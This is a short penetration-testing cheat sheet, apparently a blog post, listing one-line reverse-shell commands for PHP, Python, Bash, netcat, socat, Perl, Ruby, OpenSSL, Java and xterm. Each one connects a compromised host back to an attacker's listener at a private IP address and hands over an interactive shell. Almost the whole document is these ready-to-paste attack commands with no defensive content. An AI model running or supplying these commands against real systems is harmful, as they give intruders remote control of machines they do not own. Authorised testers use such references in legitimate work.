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Feb 24, 2019

Reverse Shell Cheat Sheet

If youโ€™re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards youโ€™ll probably want an interactive shell.

If itโ€™s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system โ€“ though you could probably upload a binary program too if youโ€™re suitably well prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute โ€œ/bin/sh -iโ€ with โ€œcmd.exeโ€.

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such theyโ€™re quite short lines, but not very readable.

Php :

php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Python :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Bash :

bash -i >& /dev/tcp/192.168.0.1/8080 0>&1

Netcat :

nc -e /bin/sh 192.168.0.5 4444

Socat :

socat tcp-connect:192.168.0.5:4444 system:/bin/sh

Perl :

perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby :

ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

OpenSSL:

On your machine (to receive, not a normal TCP connection)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # generate some arbitrary cert
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

On PWN'd client

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.5:4444 > /tmp/s; rm /tmp/s

Java :

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/192.168.0.5/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

xterm :

xterm -display 192.168.0.5:4444